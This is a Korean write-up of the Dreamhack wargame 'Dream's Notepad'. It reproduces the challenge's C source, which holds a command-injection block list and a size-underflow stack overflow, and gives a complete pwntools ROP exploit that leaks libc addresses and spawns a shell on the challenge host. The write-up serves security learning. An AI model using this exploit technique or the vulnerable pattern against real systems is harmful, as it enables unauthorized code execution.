[dreamhack] Dream’s Notepad writeup

1. 문제

thumbnail
Dream's Notepad

드림이가 메모장 프로그램을 만들었어요!
취약점을 찾아 드림이가 숨겨둔 메모인 플래그를 읽어보세요!

https://dreamhack.io/wargame/challenges/405

2. 풀이

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void Initalize(){
   setvbuf(stdin, (char *)NULL, _IONBF, 0);
   setvbuf(stdout, (char *)NULL, _IONBF, 0);
   setvbuf(stderr, (char *)NULL, _IONBF, 0);
}

void main()
{
    Initalize();

    puts("Welcome to Dream's Notepad!\n");

    char title[10] = {0,};
    char content[64] = {0,};

    puts("-----Enter the content-----");
    read(0, content, sizeof(content) - 1);

    for (int i = 0; content[i] != 0; i++)
    {
        if (content[i] == '\n')
        {
            content[i] = 0;
            break;
        }
    }

    if(strstr(content, ".") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "/") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, ";") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "*") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "cat") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "echo") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "flag") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "sh") != NULL) {
        puts("It can't be..");
        return;
    }
    else if(strstr(content, "bin") != NULL) {
        puts("It can't be..");
        return;
    }

    char tmp[128] = {0,};

    sprintf(tmp, "echo %s > /home/Dnote/note", content);
    system(tmp);
    
    FILE* p = fopen("/home/Dnote/note", "r");
    unsigned int size = 0;
    if (p > 0)
    {
        fseek(p, 0, SEEK_END);
        size = ftell(p) + 1;
        fclose(p);
        remove("/home/Dnote/note");
    }

    char message[256];
    
    puts("\n-----Leave a message-----");
    read(0, message, size - 1);

    puts("\nBye Bye!!:-)");
}

content변수에 입력을 받고, 문자열 필터링을 통해 민감한 단어들을 걸러준다. 이걸 우회하거나 다른 취약점을 찾아야한다.


여기서 맹점은 p > 0일 때만 파일에 입력한 내용을 받아서 size변수를 업데이트한다는 것이다. 그래서 만약 파일이 없거나 열리지않게 되면 size는 0인 상태로 있는 것이고, 그러면 마지막 read함수에서 size - 1을 할 때 -1이 들어가게 되면서 underflow가 발생한다. 이러면 message변수에 우리가 거의 원하는 만큼 bof를 할 수 있다…

ubuntu@instance-20250406-1126:~/dreamhack/level2/Dreams_Notepad$ checksec Notepad
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Dreams_Notepad/Notepad'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

마침 No PIEcanary도 없기 때문에 손쉽게 bof가 가능하다. 그리고 Partial RELRO이기 때문에 GOT overwrite도 가능하다.

이걸 이용해서 시나리오를 짜보면,

  • puts@pltread@gotputs@got에 들어간 값을 출력하게 하고 main함수로 다시 돌린다.
  • 이 값을 기준으로 libc 버전을 얻어서 libcbasesystem, binsh를 계산해준 다음,
  • system("/bin/sh")를 실행하게한다.

문제에서 libc 파일이 주어지지않았기 때문에 함수 2개의 got에 들어간 값을 출력시켜서 offset을 구해서 libc 버전을 얻을 수 있었다. 얻는 사이트는 아래와 같다.

thumbnail
libc-database

https://libc.rip

최종 exploit은 아래와 같다.

from pwn import *

p = process("./Notepad")
p = remote("host3.dreamhack.games", 15361)
elf = ELF("./Notepad")

pop_rdi = 0x0000000000400c73

p.sendafter(b"-----Enter the content-----\n", "'")


payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(elf.got["read"])
payload += p64(0x400730)        # puts_plt
payload += p64(elf.symbols["main"])
p.sendafter(b"-----Leave a message-----\n", payload)

p.recvuntil(b"Bye Bye!!:-)\n")
read_got = u64(p.recv(6) + b"\x00" * 2)
print(hex(read_got))



p.sendafter(b"-----Enter the content-----\n", "'")
payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(0x400730)
payload += p64(elf.symbols["main"])
p.sendafter(b"-----Leave a message-----\n", payload)

p.recvuntil(b"Bye Bye!!:-)\n")
puts_got = u64(p.recv(6) + b"\x00" * 2)
print(hex(puts_got))

libcbase = puts_got - 0x6f6a0   # from libc.rip



p.sendafter(b"-----Enter the content-----\n", "'")
payload = b"a" * 488
payload += p64(pop_rdi)
payload += p64(libcbase + 0x18ce57)
payload += p64(libcbase + 0x453a0)
p.sendafter(b"-----Leave a message-----\n", payload)

p.recvuntil(b"Bye Bye!!:-)\n")

p.interactive()

필터링을 우회해서 푸신 분들도 많았다.

아무튼 해결~